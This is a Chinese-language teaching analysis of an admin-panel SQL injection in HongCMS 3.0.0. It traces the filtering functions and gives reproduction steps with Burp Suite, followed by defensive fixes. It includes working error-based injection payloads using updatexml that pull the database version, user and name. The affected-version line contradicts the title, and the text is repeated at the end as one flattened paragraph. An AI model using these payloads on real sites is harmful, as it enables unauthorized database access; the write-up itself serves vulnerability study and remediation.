Hongcms 3.0.0后台SQL注入漏洞分析
字数 1246 2025-08-18 11:37:27

HongCMS 3.0.0后台SQL注入漏洞分析教学文档

一、漏洞概述

HongCMS 3.0.0版本后台存在SQL注入漏洞,攻击者可通过构造恶意SQL语句绕过系统过滤机制,执行任意SQL命令。

二、受影响版本

HongCMS < 3.0.0

三、漏洞原理

漏洞位置

后台数据库维护功能中的"清空数据表"操作

漏洞成因

  1. 程序对用户输入的数据库表名过滤不严格
  2. 使用不安全的过滤函数组合(stripslashes/htmlspecialchars/addslashes等)
  3. 最终SQL语句拼接时未进行充分的参数化处理

四、漏洞分析

执行流程

  1. 后台请求路径:系统 → 数据库维护 → 清空数据表
  2. 关键函数调用链:
    call_user_func → operate → ForceStringFrom → ForceString → EscapeSql → EmptyTable → exe
    

关键函数分析

  1. ForceStringFrom函数

    • 通过$_GET[$VariableName]获取tablename参数值
    • 传递给ForceString函数处理
  2. ForceString函数

    • 检查输入是否为字符串
    • 传递给EscapeSql进行安全过滤
  3. EscapeSql函数

    • 检查gpc是否开启:
      • 开启:使用stripslashes过滤
      • 未开启:使用htmlspecialchars并替换\0和空格字符
    • 检查mysql_real_escape_string/mysql_escape_string是否存在:
      • 存在:调用相应函数编码
      • 不存在:使用addslashes
  4. EmptyTable函数

    • 构造SQL语句:TRUNCATE TABLE $tablename
    • 通过exe函数执行
  5. exe函数

    • 直接执行传入的SQL语句
    • 返回执行结果

五、漏洞复现步骤

  1. 登录后台,访问:系统 → 数据库维护
  2. 选择任意数据表(如vvc表)点击"清空"按钮
  3. 使用Burp Suite拦截请求
  4. 修改tablename参数为恶意SQL语句:
    ` where vvcid=1 or updatexml(2,concat(0x7e,(version())),0) or `
    
  5. 发送修改后的请求

预期结果

  • 系统返回当前数据库版本信息
  • 执行的SQL语句为:
    TRUNCATE TABLE ` where vvcid=1 or updatexml(2,concat(0x7e,(version())),0) or `
    

六、漏洞利用示例

获取数据库版本

` where vvcid=1 or updatexml(2,concat(0x7e,(version())),0) or `

获取当前用户

` where vvcid=1 or updatexml(2,concat(0x7e,(user())),0) or `

获取数据库名

` where vvcid=1 or updatexml(2,concat(0x7e,(database())),0) or `

七、防护措施

临时解决方案

  1. 安装WAF进行防护
  2. 限制后台访问IP

根本解决方案

  1. 使用参数化查询或预处理语句
  2. 实现严格的白名单验证机制
  3. 对数据库操作进行权限最小化控制
  4. 升级到修复版本(注:系统已停止维护)

八、技术要点总结

  1. 漏洞类型:后台SQL注入
  2. 危险等级:高危
  3. 利用条件:需要后台管理员权限
  4. 过滤绕过方式:通过特殊字符构造绕过addslashes等过滤函数
  5. 注入类型:基于错误的SQL注入

附录:相关函数说明

  1. addslashes:在预定义字符前添加反斜杠(单引号、双引号、反斜杠、NULL)
  2. stripslashes:删除由addslashes添加的反斜杠
  3. htmlspecialchars:将特殊字符转换为HTML实体
  4. mysql_real_escape_string:转义SQL语句中使用的字符串中的特殊字符
  5. updatexml:XML处理函数,可用于错误型SQL注入
HongCMS 3.0.0后台SQL注入漏洞分析教学文档 一、漏洞概述 HongCMS 3.0.0版本后台存在SQL注入漏洞,攻击者可通过构造恶意SQL语句绕过系统过滤机制,执行任意SQL命令。 二、受影响版本 HongCMS < 3.0.0 三、漏洞原理 漏洞位置 后台数据库维护功能中的"清空数据表"操作 漏洞成因 程序对用户输入的数据库表名过滤不严格 使用不安全的过滤函数组合(stripslashes/htmlspecialchars/addslashes等) 最终SQL语句拼接时未进行充分的参数化处理 四、漏洞分析 执行流程 后台请求路径:系统 → 数据库维护 → 清空数据表 关键函数调用链: 关键函数分析 ForceStringFrom函数 : 通过 $_GET[$VariableName] 获取tablename参数值 传递给ForceString函数处理 ForceString函数 : 检查输入是否为字符串 传递给EscapeSql进行安全过滤 EscapeSql函数 : 检查gpc是否开启: 开启:使用stripslashes过滤 未开启:使用htmlspecialchars并替换\0和空格字符 检查mysql_ real_ escape_ string/mysql_ escape_ string是否存在: 存在:调用相应函数编码 不存在:使用addslashes EmptyTable函数 : 构造SQL语句: TRUNCATE TABLE $tablename 通过exe函数执行 exe函数 : 直接执行传入的SQL语句 返回执行结果 五、漏洞复现步骤 登录后台,访问:系统 → 数据库维护 选择任意数据表(如vvc表)点击"清空"按钮 使用Burp Suite拦截请求 修改tablename参数为恶意SQL语句: 发送修改后的请求 预期结果 系统返回当前数据库版本信息 执行的SQL语句为: 六、漏洞利用示例 获取数据库版本 获取当前用户 获取数据库名 七、防护措施 临时解决方案 安装WAF进行防护 限制后台访问IP 根本解决方案 使用参数化查询或预处理语句 实现严格的白名单验证机制 对数据库操作进行权限最小化控制 升级到修复版本(注:系统已停止维护) 八、技术要点总结 漏洞类型:后台SQL注入 危险等级:高危 利用条件:需要后台管理员权限 过滤绕过方式:通过特殊字符构造绕过addslashes等过滤函数 注入类型:基于错误的SQL注入 附录:相关函数说明 addslashes :在预定义字符前添加反斜杠(单引号、双引号、反斜杠、NULL) stripslashes :删除由addslashes添加的反斜杠 htmlspecialchars :将特殊字符转换为HTML实体 mysql_ real_ escape_ string :转义SQL语句中使用的字符串中的特殊字符 updatexml :XML处理函数,可用于错误型SQL注入